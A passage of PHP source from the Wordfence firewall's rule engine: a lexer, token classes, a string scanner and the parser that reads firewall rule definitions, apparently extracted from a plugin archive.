					default:
						return $this->createToken(self::T_IDENTIFIER, $match);
				}
			else if (($match = $this->scanner->scan(self::MATCH_SINGLE_STRING_LITERAL)) !== null) return $this->createToken(self::T_SINGLE_STRING_LITERAL, $match);
			else if (($match = $this->scanner->scan(self::MATCH_DOUBLE_STRING_LITERAL)) !== null) return $this->createToken(self::T_DOUBLE_STRING_LITERAL, $match);
			else if (($match = $this->scanner->scan(self::MATCH_NUMBER_LITERAL)) !== null) return $this->createToken(self::T_NUMBER_LITERAL, $match);
			else if (($match = $this->scanner->scan(self::MATCH_DOT)) !== null) return $this->createToken(self::T_DOT, $match);
			else if (($match = $this->scanner->scan(self::MATCH_AND_COMPARISON_OPERATOR)) !== null) return $this->createToken(self::T_COMPARISON_OPERATOR, $match);
			else if (($match = $this->scanner->scan(self::MATCH_OR_COMPARISON_OPERATOR)) !== null) return $this->createToken(self::T_COMPARISON_OPERATOR, $match);
			else if (($match = $this->scanner->scan(self::MATCH_OPEN_PARENTHESIS)) !== null) return $this->createToken(self::T_OPEN_PARENTHESIS, $match);
			else if (($match = $this->scanner->scan(self::MATCH_CLOSE_PARENTHESIS)) !== null) return $this->createToken(self::T_CLOSE_PARENTHESIS, $match);
			else if (($match = $this->scanner->scan(self::MATCH_COMMA)) !== null) return $this->createToken(self::T_COMMA, $match);
			else if (($match = $this->scanner->scan(self::MATCH_RULE_COMPARISON_END)) !== null) return $this->createToken(self::T_RULE_COMPARISON_END, $match);
			else if (($match = $this->scanner->scan(self::MATCH_ASSIGNMENT)) !== null) return $this->createToken(self::T_ASSIGNMENT, $match);
			else if (($match = $this->scanner->scan(self::MATCH_OPEN_BRACKET)) !== null) return $this->createToken(self::T_OPEN_BRACKET, $match);
			else if (($match = $this->scanner->scan(self::MATCH_CLOSE_BRACKET)) !== null) return $this->createToken(self::T_CLOSE_BRACKET, $match);
			else if (($match = $this->scanner->scan(self::MATCH_SINGLE_LINE_COMMENT)) !== null) return $this->createToken(self::T_SINGLE_LINE_COMMENT, $match);
			else if (($match = $this->scanner->scan(self::MATCH_MULTIPLE_LINE_COMMENT)) !== null) return $this->createToken(self::T_MULTIPLE_LINE_COMMENT, $match);
			else {
				$e = new wfWAFParserSyntaxError(sprintf('Invalid character "%s" found on line %d, column %d',
					$this->scanner->scanChar(), $this->scanner->getLine(), $this->scanner->getColumn()));
				$e->setParseLine($this->scanner->getLine());
				$e->setParseColumn($this->scanner->getColumn());
				throw $e;
			}
		}
		return false;
	}

	/**
	 * @param $type
	 * @param $value
	 * @return wfWAFLexerToken
	 */
	protected function createToken($type, $value) {
		return new wfWAFLexerToken($type, $value, $this->scanner->getLine(), $this->scanner->getColumn());
	}

	/**
	 * @return string
	 */
	public function getRules() {
		return $this->rules;
	}

	/**
	 * @param string $rules
	 */
	public function setRules($rules) {
		$this->rules = rtrim($rules);
	}
}

/**
 *
 */
class wfWAFLexerToken {

	private $type;
	private $value;
	private $line;
	private $column;

	/**
	 * wfWAFRuleToken constructor.
	 *
	 * @param $type
	 * @param $value
	 * @param $line
	 * @param $column
	 */
	public function __construct($type, $value, $line, $column) {
		$this->setType($type);
		$this->setValue($value);
		$this->setLine($line);
		$this->setColumn($column);
	}

	/**
	 * @return string
	 */
	public function getLowerCaseValue() {
		return wfWAFUtils::strtolower($this->getValue());
	}

	/**
	 * @return string
	 */
	public function getUpperCaseValue() {
		return wfWAFUtils::strtoupper($this->getValue());
	}

	/**
	 * @return mixed
	 */
	public function getType() {
		return $this->type;
	}

	/**
	 * @param mixed $type
	 */
	public function setType($type) {
		$this->type = $type;
	}

	/**
	 * @return mixed
	 */
	public function getValue() {
		return $this->value;
	}

	/**
	 * @param mixed $value
	 */
	public function setValue($value) {
		$this->value = $value;
	}

	/**
	 * @return mixed
	 */
	public function getLine() {
		return $this->line;
	}

	/**
	 * @param mixed $line
	 */
	public function setLine($line) {
		$this->line = $line;
	}

	/**
	 * @return mixed
	 */
	public function getColumn() {
		return $this->column;
	}

	/**
	 * @param mixed $column
	 */
	public function setColumn($column) {
		$this->column = $column;
	}
}


class wfWAFParserSyntaxError extends wfWAFException {

	private $parseLine;
	private $parseColumn;
	private $token;

	/**
	 * @return mixed
	 */
	public function getToken() {
		return $this->token;
	}

	/**
	 * @param mixed $token
	 */
	public function setToken($token) {
		$this->token = $token;
	}

	/**
	 * @return mixed
	 */
	public function getParseLine() {
		return $this->parseLine;
	}

	/**
	 * @param mixed $parseLine
	 */
	public function setParseLine($parseLine) {
		$this->parseLine = $parseLine;
	}

	/**
	 * @return mixed
	 */
	public function getParseColumn() {
		return $this->parseColumn;
	}

	/**
	 * @param mixed $parseColumn
	 */
	public function setParseColumn($parseColumn) {
		$this->parseColumn = $parseColumn;
	}

}

class wfWAFBaseParser {

	protected $tokens;
	protected $index;
	/** @var wfWAFLexerInterface */
	protected $lexer;
	protected $checkpoint=0;

	public function __construct($lexer) {
		$this->lexer = $lexer;
	}

	/**
	 * @param wfWAFLexerToken $token
	 * @param mixed $type
	 * @return bool
	 */
	protected function isTokenOfType($token, $type) {
		if (is_array($type)) {
			return $token && in_array($token->getType(), $type);
		}
		return $token && $token->getType() === $type;
	}

	/**
	 * @param wfWAFLexerToken $token
	 * @param int $type
	 * @param string $message
	 * @throws wfWAFParserSyntaxError
	 */
	protected function expectTokenTypeEquals($token, $type, $message = 'Wordfence WAF Syntax Error: Unexpected %s found on line %d, column %d. Expected %s.') {
		if ($token->getType() !== $type) {
			$this->triggerSyntaxError($token, sprintf($message, $token->getType(),
				$token->getLine(), $token->getColumn(), $type));
		}
	}

	/**
	 * @param wfWAFLexerToken $token
	 * @param array $types
	 * @param string $message
	 * @throws wfWAFParserSyntaxError
	 */
	protected function expectTokenTypeInArray($token, $types, $message = 'Wordfence WAF Syntax Error: Unexpected %s found on line %d, column %d') {
		if (!in_array($token->getType(), $types)) {
			$this->triggerSyntaxError($token, sprintf($message, $token->getType(),
				$token->getLine(), $token->getColumn()));
		}
	}

	/**
	 * @param wfWAFLexerToken $token
	 * @param string $message
	 * @throws wfWAFParserSyntaxError
	 */
	protected function triggerSyntaxError($token, $message = 'Wordfence WAF Syntax Error: Unexpected %s %s found on line %d, column %d') {
		$e = new wfWAFParserSyntaxError(sprintf($message, $token->getType(), $token->getValue(),
			$token->getLine(), $token->getColumn()));
		$e->setToken($token);
		$e->setParseLine($token->getLine());
		$e->setParseColumn($token->getColumn());
		throw $e;
	}

	/**
	 * @return wfWAFLexerToken
	 */
	protected function currentToken() {
		return $this->getToken($this->index);
	}

	/**
	 * @return bool|wfWAFLexerToken
	 */
	protected function nextToken() {
		$this->index++;
		return $this->getToken($this->index);
	}

	/**
	 * @param string $message
	 * @return wfWAFLexerToken
	 * @throws wfWAFParserSyntaxError
	 */
	protected function expectNextToken($message = 'Expected statement') {
		$this->index++;
		if ($token = $this->getToken($this->index)) {
			return $token;
		}
		throw new wfWAFParserSyntaxError($message);
	}

	/**
	 * @param int $index
	 * @return mixed
	 */
	protected function getToken($index) {
		if (is_array($this->tokens) && array_key_exists($index, $this->tokens)) {
			return $this->tokens[$index];
		}
		if ($token = $this->getLexer()->nextToken()) {
			$this->tokens[$index] = $token;
			return $this->tokens[$index];
		}
		return false;
	}

	/**
	 * @return wfWAFLexerInterface
	 */
	public function getLexer() {
		return $this->lexer;
	}

	/**
	 * @param wfWAFLexerInterface $lexer
	 */
	public function setLexer($lexer) {
		$this->lexer = $lexer;
	}

	/**
	 * @return mixed
	 */
	public function getTokens() {
		return $this->tokens;
	}

	/**
	 * @param mixed $tokens
	 */
	public function setTokens($tokens) {
		$this->tokens = $tokens;
	}

	protected function setCheckpoint() {
		$this->checkpoint=$this->index;
	}

	protected function reset() {
		$this->index=$this->checkpoint;
	}

}

/**
 *
 */
class wfWAFStringScanner {

	private $string;
	private $remainingStringCache;
	private $length;
	private $pointer;
	private $remainingStringCachePointer;
	private $prevPointer;
	private $match;
	private $captures;

	/**
	 * wfWAFStringScanner constructor.
	 * @param $string
	 */
	public function __construct($string = null) {
		if (is_string($string)) {
			$this->setString($string);
		}
	}

	/**
	 * @param $regex
	 * @return mixed
	 */
	public function scan($regex) {
		$remaining = $this->getRemainingString();
		if ($this->regexMatch($regex, $remaining, $matches)) {
			$matchLen = wfWAFUtils::strlen($matches[0]);
			if ($matchLen > 0 && wfWAFUtils::strpos($remaining, $matches[0]) === 0) {
				return $this->setState($matches, $this->getPointer() + $matchLen, $this->getPointer());
			}
		}
		return $this->setState();
	}

	/**
	 * @param $regex
	 * @return int|null
	 */
	public function skip($regex) {
		return $this->scan($regex) ? wfWAFUtils::strlen($this->getMatch()) : null;
	}

	/**
	 * @return mixed
	 */
	public function scanChar() {
		return $this->scan('/./s');
	}

	/**
	 * @param string $regex
	 * @return mixed
	 */
	public function check($regex) {
		$remaining = $this->getRemainingString();
		if ($this->regexMatch($regex, $remaining, $matches)) {
			$matchLen = wfWAFUtils::strlen($matches[0]);
			if ($matchLen > 0 && wfWAFUtils::strpos($remaining, $matches[0]) === 0) {
				return $this->setState($matches);
			}
		}
		return $this->setState();
	}

	/**
	 * @param string $regex
	 * @param string $remaining
	 * @param $matches
	 * @return int
	 */
	public function regexMatch($regex, $remaining, &$matches) {
//		$startTime = microtime(true);
		$result = preg_match($regex, $remaining, $matches);
//		printf("%s took %f seconds\n", $regex, microtime(true) - $startTime);
		return $result;
	}

	/**
	 * @return bool
	 */
	public function eos() {
		return $this->getPointer() === $this->getLength();
	}

	/**
	 * @return string
	 */
	public function getRemainingString() {
		$pointer = $this->getPointer();
		if ($pointer === $this->remainingStringCachePointer && is_string($this->remainingStringCache)) {
			return $this->remainingStringCache;
		}
		$this->remainingStringCache = wfWAFUtils::substr($this->getString(), $pointer);
		$this->remainingStringCachePointer = $pointer;
		return $this->remainingStringCache;
	}

	/**
	 * @return $this
	 */
	public function reset() {
		$this->remainingStringCache = false;
		$this->setState(array(), 0, 0);
		return $this;
	}

	/**
	 * The current line of the scanned string.
	 *
	 * @return int
	 */
	public function getLine() {
		if ($this->getPointer() + 1 > $this->getLength()) {
			return wfWAFUtils::substr_count($this->getString(), "\n") + 1;
		}
		return wfWAFUtils::substr_count($this->getString(), "\n", 0, $this->getPointer() + 1) + 1;
	}

	/**
	 * The current column of the line of the scanned string.
	 *
	 * @return int
	 */
	public function getColumn() {
		return $this->getPointer() - ((int) wfWAFUtils::strrpos(wfWAFUtils::substr($this->getString(), 0, $this->getPointer() + 1), "\n")) + 1;
	}

	/**
	 * @param array $matches
	 * @param int|null $pointer
	 * @param int|null $prevPointer
	 * @return mixed
	 */
	protected function setState($matches = array(), $pointer = null, $prevPointer = null) {
		if ($pointer !== null) {
			$this->setPointer($pointer);
		}
		if ($prevPointer !== null) {
			$this->setPrevPointer($prevPointer);
		}
		if (is_array($matches)) {
			$this->setCaptures(array_slice($matches, 1));
			if (count($matches) > 0) {
				$this->setMatch($matches[0]);
			} else {
				$this->setMatch(null);
			}
		} else {
			$this->setMatch(null);
		}
		return $this->getMatch();
	}

	/**
	 * @return string
	 */
	public function getString() {
		return $this->string;
	}

	/**
	 * @param string $string
	 * @throws InvalidArgumentException
	 */
	public function setString($string) {
		if (!is_string($string)) {
			throw new InvalidArgumentException(sprintf('String expected, got [%s]', gettype($string)));
		}
		$this->setLength(wfWAFUtils::strlen($string));
		$this->string = $string;
		$this->reset();
	}

	/**
	 * @return int
	 */
	public function getLength() {
		return $this->length;
	}

	/**
	 * @param int $length
	 */
	protected function setLength($length) {
		$this->length = $length;
	}

	/**
	 * @param int $length
	 */
	public function advancePointer($length) {
		$this->setPointer($this->getPointer() + $length);
	}

	/**
	 * @return int
	 */
	public function getPointer() {
		return $this->pointer;
	}

	/**
	 * @param int $pointer
	 */
	protected function setPointer($pointer) {
		$this->pointer = $pointer;
	}

	/**
	 * @return int
	 */
	public function getPrevPointer() {
		return $this->prevPointer;
	}

	/**
	 * @param int $prevPointer
	 */
	protected function setPrevPointer($prevPointer) {
		$this->prevPointer = $prevPointer;
	}

	/**
	 * @return mixed
	 */
	public function getMatch() {
		return $this->match;
	}

	/**
	 * @param mixed $match
	 */
	protected function setMatch($match) {
		$this->match = $match;
	}

	/**
	 * @param null $index
	 * @return mixed
	 */
	public function getCaptures($index = null) {
		if (is_numeric($index)) {
			return isset($this->captures[$index]) ? $this->captures[$index] : null;
		}
		return $this->captures;
	}

	/**
	 * @param mixed $captures
	 */
	protected function setCaptures($captures) {
		$this->captures = $captures;
	}
}
}PK       ! {Y  Y    parser/parser.phpnu [        <?php
if (defined('WFWAF_VERSION') && !defined('WFWAF_RUN_COMPLETE')) {

require_once dirname(__FILE__) . '/lexer.php';

class wfWAFRuleParser extends wfWAFBaseParser {

	/**
	 * @var wfWAF
	 */
	private $waf;
	private $parenCount = 0;

	/**
	 * wfWAFRuleParser constructor.
	 * @param $lexer
	 * @param wfWAF $waf
	 */
	public function __construct($lexer, $waf) {
		parent::__construct($lexer);
		$this->setWAF($waf);
	}

	/**
	 * @return array
	 * @throws wfWAFParserSyntaxError
	 * @throws wfWAFRuleParserSyntaxError
	 */
	public function parse() {
		$rules = array();
		$scores = array();
		$blacklistedParams = array();
		$whitelistedParams = array();
		$variables = array();
		$this->index = -1;
		while ($token = $this->nextToken()) {

			// Rule parsing
			if ($token->getType() == wfWAFRuleLexer::T_RULE_START) {
				$this->expectTokenTypeEquals($this->expectNextToken(), wfWAFRuleLexer::T_OPEN_PARENTHESIS);

				$comparisonGroup = $this->parseConditional();
				$this->expectTokenTypeEquals($this->expectNextToken(), wfWAFRuleLexer::T_CLOSE_PARENTHESIS);
				$this->expectTokenTypeEquals($this->expectNextToken(), wfWAFRuleLexer::T_RULE_COMPARISON_END);
				$action = $this->parseAction();

				$rules[] = new wfWAFRule(
					$this->getWAF(),
					$action->getRuleID(),
					$action->getType(),
					$action->getCategory(),
					$action->getScore(),
					$action->getDescription(),
					$action->getWhitelist(),
					$action->getAction(),
					$comparisonGroup
				);
			}

			// Score/config parsing
			if ($token->getType() == wfWAFRuleLexer::T_IDENTIFIER) {
				switch ($token->getValue()) {
					case 'scores':
						$this->expectTokenTypeEquals($this->expectNextToken(), wfWAFRuleLexer::T_DOT);
						$scoreCategoryToken = $this->expectNextToken();
						$this->expectTokenTypeEquals($scoreCategoryToken, wfWAFRuleLexer::T_IDENTIFIER);

						$this->expectTokenTypeEquals($this->expectNextToken(), wfWAFRuleLexer::T_ASSIGNMENT);

						$scoreToken = $this->expectNextToken();
						$this->expectTokenTypeEquals($scoreToken, wfWAFRuleLexer::T_NUMBER_LITERAL);
						$scores[$scoreCategoryToken->getValue()] = $scoreToken->getValue();
						break;

					case 'blacklistParam':
						$blacklistedParams[] = $this->parseURLParams();
						break;

					case 'whitelistParam':
						$whitelistedParams[] = $this->parseURLParams();
						break;

					default:
						$this->expectTokenTypeEquals($this->expectNextToken(), wfWAFRuleLexer::T_ASSIGNMENT);
						$valueToken = $this->expectNextToken();
						$this->expectTokenTypeInArray($valueToken, array(
							wfWAFRuleLexer::T_SINGLE_STRING_LITERAL,
							wfWAFRuleLexer::T_DOUBLE_STRING_LITERAL,
							wfWAFRuleLexer::T_NUMBER_LITERAL,
						));
						if ($valueToken->getType() === wfWAFRuleLexer::T_SINGLE_STRING_LITERAL) {
							$value = wfWAFUtils::substr($valueToken->getValue(), 1, -1);
							$value = str_replace("\\'", "'", $value);
						} else if ($valueToken->getType() === wfWAFRuleLexer::T_DOUBLE_STRING_LITERAL) {
							$value = wfWAFUtils::substr($valueToken->getValue(), 1, -1);
							$value = str_replace('\\"', '"', $value);
						} else {
							$value = $valueToken->getValue();
						}
						$variables[$token->getValue()] = new wfWAFRuleVariable($this->getWAF(), $token->getValue(), $value);
						break;
				}
			}
		}

		return array(
			'scores'            => $scores,
			'blacklistedParams' => $blacklistedParams,
			'whitelistedParams' => $whitelistedParams,
			'variables'         => $variables,
			'rules'             => $rules,
		);
	}

	/**
	 * @param array $vars
	 * @return string
	 */
	public function renderRules($vars) {
		$rules = '';
		if (array_key_exists('scores', $vars)) {
			foreach ($vars['scores'] as $category => $score) {
				// scores.sqli = 100
				$rules .= sprintf("scores.%s = %d\n", $category, $score);
			}
			$rules .= "\n";
		}

		$params = array(
			'blacklistParam' => 'blacklistedParams',
			'whitelistParam' => 'whitelistedParams',
		);
		foreach ($params as $action => $key) {
			if (array_key_exists($key, $vars)) {
				/** @var wfWAFRuleParserURLParam $urlParam */
				foreach ($vars[$key] as $urlParam) {
					$rules .= $urlParam->renderRule($action) . "\n";
				}
				$rules .= "\n";
			}
		}

		if (array_key_exists('variables', $vars)) {
			/** @var wfWAFRuleVariable $variable */
			foreach ($vars['variables'] as $variableName => $variable) {
				$rules .= sprintf("%s = %s\n", $variable->renderRule(), $variable->renderValue());
			}
			$rules .= "\n";
		}

		if (array_key_exists('rules', $vars)) {
			/** @var wfWAFRule $rule */
			foreach ($vars['rules'] as $rule) {
				$rules .= $rule->renderRule() . "\n";
			}
			$rules .= "\n";
		}
		return $rules;
	}

	/**
	 * @param int $index
	 * @return mixed
	 */
	public function getToken($index) {
		if (is_array($this->tokens) && array_key_exists($index, $this->tokens)) {
			return $this->tokens[$index];
		}
		if ($token = $this->getLexer()->nextToken()) {
			$this->tokens[$index] = $token;
			return $this->tokens[$index];
		}
		return false;
	}

	/**
	 * @return wfWAFRuleComparisonGroup
	 */
	private function parseConditional() {
		$comparisonGroup = new wfWAFRuleComparisonGroup();
		while ($token = $this->nextToken()) {
			switch ($token->getType()) {
				case wfWAFRuleLexer::T_IDENTIFIER:
					$comparisonGroup->add($this->parseComparison());
					break;

				case wfWAFRuleLexer::T_COMPARISON_OPERATOR:
					$comparisonGroup->add(new wfWAFRuleLogicalOperator($token->getValue()));
					break;

				case wfWAFRuleLexer::T_OPEN_PARENTHESIS:
					$this->parenCount++;
					$comparisonGroup->add($this->parseConditional());
					break;

				case wfWAFRuleLexer::T_CLOSE_PARENTHESIS:
					if ($this->parenCount === 0) {
						$this->index--;
						return $comparisonGroup;
					}
					$this->parenCount--;
					return $comparisonGroup;
			}

		}
		return $comparisonGroup;
	}

	private function parseComparison($expectLiteral = true) {
		/**
		 * @var wfWAFLexerToken $actionToken
		 * @var wfWAFLexerToken $expectedToken
		 */
		$this->setCheckpoint();
		$actionToken = $this->currentToken();
		$this->expectTokenTypeEquals($this->expectNextToken(), wfWAFRuleLexer::T_OPEN_PARENTHESIS);
		$value=null;
		if($expectLiteral) {
			try {
				$value = $this->expectLiteral(array(wfWAFRuleLexer::T_CLOSE_PARENTHESIS));
				if ($value === null && $expectLiteral) {
					$this->index--;
				}
			}
			catch(wfWAFParserSyntaxError $e) {
				if($expectLiteral) {
					$this->reset();
					return $this->parseComparison(false);
				}
				throw $e;
			}
		}

		$subjects = array();
		$nextToken = $this->nextToken();
		if ($value!==null||!$expectLiteral) {
			while (true) {
				if ($nextToken && $nextToken->getType() === wfWAFRuleLexer::T_CLOSE_PARENTHESIS) {
					break;
				}
				if (!($nextToken && $nextToken->getType() === wfWAFRuleLexer::T_COMMA)) {
					if(empty($subjects) && $expectLiteral) {
						$this->reset();
						return $this->parseComparison(false);
					}
					$this->index--;
					if(!empty($subjects))
						break;
				}
				list($filters, $subject) = $this->parseFilters();
				$current = new wfWAFRuleComparisonSubject($this->getWAF(), $subject, $filters);
				$nextToken = $this->expectNextToken();
				if (in_array($nextToken->getType(), array(wfWAFRuleLexer::T_DOT, wfWAFRuleLexer::T_OPEN_BRACKET))) {
					$this->index--;
					$childSubject = $this->parseSubject(false);
					if (!is_array($childSubject) )
						$childSubject = array($childSubject);
					array_unshift($childSubject, $current);
					$current = new wfWAFRuleComparisonSubject($this->getWAF(), $childSubject, array());
					$nextToken = $this->expectNextToken();
				}
				$subjects[] = $current;
			}
			$this->expectTokenTypeEquals($nextToken, wfWAFRuleLexer::T_CLOSE_PARENTHESIS);
		}

		$comparison = new wfWAFRuleComparison($this->getWAF(), $actionToken->getValue(), $value, $subjects);
		return $comparison;
	}

	/**
	 * @return wfWAFRuleParserAction
	 */
	private function parseAction() {
		$action = new wfWAFRuleParserAction();

		$actionToken = $this->expectNextToken();
		$this->expectTokenTypeEquals($actionToken, wfWAFRuleLexer::T_IDENTIFIER);
		$action->setAction($actionToken->getValue());
		$this->expectTokenTypeEquals($this->expectNextToken(), wfWAFRuleLexer::T_OPEN_PARENTHESIS);

		while (true) {
			$token = $this->expectNextToken();
			switch ($token->getType()) {
				case wfWAFRuleLexer::T_IDENTIFIER:
					$this->expectTokenTypeEquals($this->expectNextToken(), wfWAFRuleLexer::T_ASSIGNMENT);
					$valueToken = $this->expectNextToken();
					$this->expectTokenTypeInArray($valueToken, array(
						wfWAFRuleLexer::T_SINGLE_STRING_LITERAL,
						wfWAFRuleLexer::T_DOUBLE_STRING_LITERAL,
						wfWAFRuleLexer::T_NUMBER_LITERAL,
					));
					$action->set($token->getValue(), $valueToken->getValue());
					break;

				case wfWAFRuleLexer::T_COMMA:
					break;

				case wfWAFRuleLexer::T_CLOSE_PARENTHESIS:
					break 2;

				default:
					$this->triggerSyntaxError($token, sprintf('Wordfence WAF Rules Syntax Error: Unexpected %s found on line %d, column %d',
						$token->getType(), $token->getLine(), $token->getColumn()));
			}
		}
		return $action;
	}

	private function parseFilters() {
		$filters = array();
		$subject = null;
		do {
			$globalToken = $this->expectNextToken();
			$this->expectTokenTypeEquals($globalToken, wfWAFRuleLexer::T_IDENTIFIER);
			$parenToken = $this->expectNextToken();
			switch ($parenToken->getType()) {
				case wfWAFRuleLexer::T_DOT:
					$this->index -= 2;
					$subject = $this->parseSubject();
					break 2;

				case wfWAFRuleLexer::T_OPEN_PARENTHESIS:
					array_unshift($filters, array($globalToken->getValue()));
					break;

				default:
					$this->triggerSyntaxError($parenToken,
						sprintf('Wordfence WAF Rules Syntax Error: Unexpected %s found on line %d, column %d.',
							$parenToken->getType(), $parenToken->getLine(), $parenToken->getColumn()));
			}
		} while (true);
		if ($subject === null) {
			throw new wfWAFParserSyntaxError('No subject supplied to filter');
		}
		for ($i = 0; $i < count($filters); $i++) {
			do {
				$next = $this->expectNextToken();
				$this->expectTokenTypeInArray($next, array(wfWAFRuleLexer::T_CLOSE_PARENTHESIS, wfWAFRuleLexer::T_COMMA));
				if ($next->getType() === wfWAFRuleLexer::T_COMMA) {
					$filters[$i][] = $this->expectLiteral();
				}
				else {
					break;
				}
			} while(true);
		}
		return array($filters, $subject);
	}

	/**
	 * @throws wfWAFParserSyntaxError
	 */
	private function parseSubject($global = true) {
		if ($global) {
			$globalToken = $this->expectNextToken();
			$this->expectTokenTypeEquals($globalToken, wfWAFRuleLexer::T_IDENTIFIER);
			$this->expectTokenTypeEquals($this->expectNextToken(), wfWAFRuleLexer::T_DOT);
			$globalToken2 = $this->expectNextToken();
			$this->expectTokenTypeEquals($globalToken2, wfWAFRuleLexer::T_IDENTIFIER);
			$subject = array(
				$globalToken->getValue() . '.' . $globalToken2->getValue(),
			);
		}
		else {
			$subject = array();
		}
		$savePoint = $this->index;
		while (($property = $this->parsePropertyAccessor()) !== false) {
			$subject[] = $property;
			$savePoint = $this->index;
		}
		$this->index = $savePoint;
		if (count($subject) === 1) {
			list($subject) = $subject;
		}
		return $subject;
	}

	/**
	 * @return bool|mixed|string
	 * @throws wfWAFParserSyntaxError
	 */
	private function parsePropertyAccessor() {
		$savePoint = $this->index;
		$nextToken = $this->nextToken();
		if ($this->isTokenOfType($nextToken, wfWAFRuleLexer::T_DOT)) {
			$property = $this->expectNextToken();
			$this->expectTokenTypeEquals($property, wfWAFRuleLexer::T_IDENTIFIER);
			return $property->getValue();
		} else if ($this->isTokenOfType($nextToken, wfWAFRuleLexer::T_OPEN_BRACKET)) {
			$property = $this->expectLiteral();
			$this->expectTokenTypeEquals($this->expectNextToken(), wfWAFRuleLexer::T_CLOSE_BRACKET);
			return $property;
		}
		$this->index = $savePoint;
		return false;
	}

	/**
	 * @return wfWAFRuleParserURLParam
	 * @throws wfWAFParserSyntaxError
	 */
	private function parseURLParams() {
		$this->expectTokenTypeEquals($this->expectNextToken(), wfWAFRuleLexer::T_OPEN_PARENTHESIS);

		$urlParam = new wfWAFRuleParserURLParam();
		while (true) {
			$token = $this->expectNextToken();
			switch ($token->getType()) {
				case wfWAFRuleLexer::T_IDENTIFIER:
					$this->expectTokenTypeEquals($this->expectNextToken(), wfWAFRuleLexer::T_ASSIGNMENT);
					if ($token->getValue() === 'url') {
						$url = $this->expectLiteral();
						$urlParam->setUrl($url);
					} else if ($token->getValue() === 'param') {
						$subject = $this->parseSubject();
						$urlParam->setParam(wfWAFRuleComparison::getSubjectKey($subject));
					} else if ($token->getValue() === 'rules') {
						$rules = $this->expectLiteral();
						$urlParam->setRules($rules);
					} else if ($token->getValue() === 'conditional') {
						$this->expectTokenTypeEquals($this->expectNextToken(), wfWAFRuleLexer::T_OPEN_PARENTHESIS);
						$conditional = $this->parseConditional();
						$this->expectTokenTypeEquals($this->expectNextToken(), wfWAFRuleLexer::T_CLOSE_PARENTHESIS);
						$urlParam->setConditional($conditional);
					} else if ($token->getValue() === 'minVersion') {
						$minVersion = $this->expectLiteral();
						$urlParam->setMinVersion($minVersion);
					}

					break;

				case wfWAFRuleLexer::T_COMMA:
					break;

				case wfWAFRuleLexer::T_CLOSE_PARENTHESIS:
					break 2;

				default:
					$this->triggerSyntaxError($token, sprintf('Wordfence WAF Rules Syntax Error: Unexpected %s found on line %d, column %d',
						$token->getType(), $token->getLine(), $token->getColumn()));
			}
		}
		return $urlParam;
	}

	/**
	 * @return mixed|string
	 * @throws wfWAFRuleParserSyntaxError
	 */
	private function expectLiteral($allowExtra = array()) {
		$expectedToken = $this->expectNextToken();
		$this->expectTokenTypeInArray($expectedToken, array_merge(array(
			wfWAFRuleLexer::T_SINGLE_STRING_LITERAL,
			wfWAFRuleLexer::T_DOUBLE_STRING_LITERAL,
			wfWAFRuleLexer::T_IDENTIFIER,
			wfWAFRuleLexer::T_NUMBER_LITERAL,
			wfWAFRuleLexer::T_OPEN_BRACKET,
		), $allowExtra));
		if ($expectedToken->getType() === wfWAFRuleLexer::T_SINGLE_STRING_LITERAL) {
			// Remove quotes, strip slashes
			$value = wfWAFUtils::substr($expectedToken->getValue(), 1, -1);
			$value = str_replace("\\'", "'", $value);
		} else if ($expectedToken->getType() === wfWAFRuleLexer::T_DOUBLE_STRING_LITERAL) {
			// Remove quotes, strip slashes
			$value = wfWAFUtils::substr($expectedToken->getValue(), 1, -1);
			$value = str_replace('\\"', '"', $value);
		} else if ($expectedToken->getType() === wfWAFRuleLexer::T_IDENTIFIER) {
			// Remove quotes, strip slashes
			$value = new wfWAFRuleVariable($this->getWAF(), $expectedToken->getValue());
		} else if ($expectedToken->getType() === wfWAFRuleLexer::T_OPEN_BRACKET) {
			$value = array();
			while (true) {
				$nextToken = $this->expectNextToken();
				if ($nextToken->getType() === wfWAFRuleLexer::T_CLOSE_BRACKET) {
					break;
				}
				if ($nextToken->getType() === wfWAFRuleLexer::T_COMMA) {
					continue;
				}
				$this->index--;
				$value[] = $this->expectLiteral();
			}
		} else if (in_array($expectedToken->getType(), $allowExtra)) {
		   return null;
		} else {
			$value = $expectedToken->getValue();
		}
		return $value;
	}

	/**
	 * @param wfWAFLexerToken $token
	 * @param string|array $value
	 * @return bool
	 */
	private function isIdentifierWithValue($token, $value) {
		return $token && $token->getType() === wfWAFRuleLexer::T_IDENTIFIER &&
		(is_array($value) ? in_array($token->getLowerCaseValue(), array_map('strtolower', $value)) :
			$token->getLowerCaseValue() === strtolower($value));
	}

	/**
	 * @param wfWAFLexerToken $token
	 * @return bool
	 */
	protected function isCommentToken($token) {
		return $token->getType() === wfWAFRuleLexer::T_MULTIPLE_LINE_COMMENT || $token->getType() === wfWAFRuleLexer::T_SINGLE_LINE_COMMENT;
	}

	/**
	 * @return wfWAF
	 */
	public function getWAF() {
		return $this->waf;
	}

	/**
	 * @param wfWAF $waf
	 */
	public function setWAF($waf) {
		$this->waf = $waf;
	}
}

class wfWAFRuleParserAction {

	private $ruleID;
	private $type;
	private $category;
	private $score;
	private $description;
	private $whitelist = 1;
	private $action;

	/**
	 * @param string $param
	 * @param mixed $value
	 */
	public function set($param, $value) {
		$propLinkTable = array(
			'id' => 'ruleID',
		);
		if (array_key_exists($param, $propLinkTable)) {
			$param = $propLinkTable[$param];
		}
		if (property_exists($this, $param)) {
			$this->$param = trim($value, '\'"');
		}
	}

	/**
	 * @return mixed
	 */
	public function getRuleID() {
		return $this->ruleID;
	}

	/**
	 * @param mixed $ruleID
	 */
	public function setRuleID($ruleID) {
		$this->ruleID = $ruleID;
	}

	/**
	 * @return mixed
	 */
	public function getType() {
		return $this->type;
	}

	/**
	 * @param mixed $type
	 */
	public function setType($type) {
		$this->type = $type;
	}

	/**
	 * @return mixed
	 */
	public function getCategory() {
		return $this->category;
	}

	/**
	 * @param mixed $category
	 */
	public function setCategory($category) {
		$this->category = $category;
	}

	/**
	 * @return mixed
	 */
	public function getScore() {
		return $this->score;
	}

	/**
	 * @param mixed $score
	 */
	public function setScore($score) {
		$this->score = $score;
	}

	/**
	 * @return mixed
	 */
	public function getDescription() {
		return $this->description;
	}

	/**
	 * @param mixed $description
	 */
	public function setDescription($description) {
		$this->description = $description;
	}

	/**
	 * @return mixed
	 */
	public function getWhitelist() {
		return $this->whitelist;
	}

	/**
	 * @param mixed $whitelist
	 */
	public function setWhitelist($whitelist) {
		$this->whitelist = $whitelist;
	}

	/**
	 * @return mixed
	 */
	public function getAction() {
		return $this->action;
	}

	/**
	 * @param mixed $action
	 */
	public function setAction($action) {
		$this->action = $action;
	}
}


class wfWAFRuleParserURLParam {
	/**
	 * @var string
	 */
	private $url;
	/**
	 * @var string
	 */
	private $param;
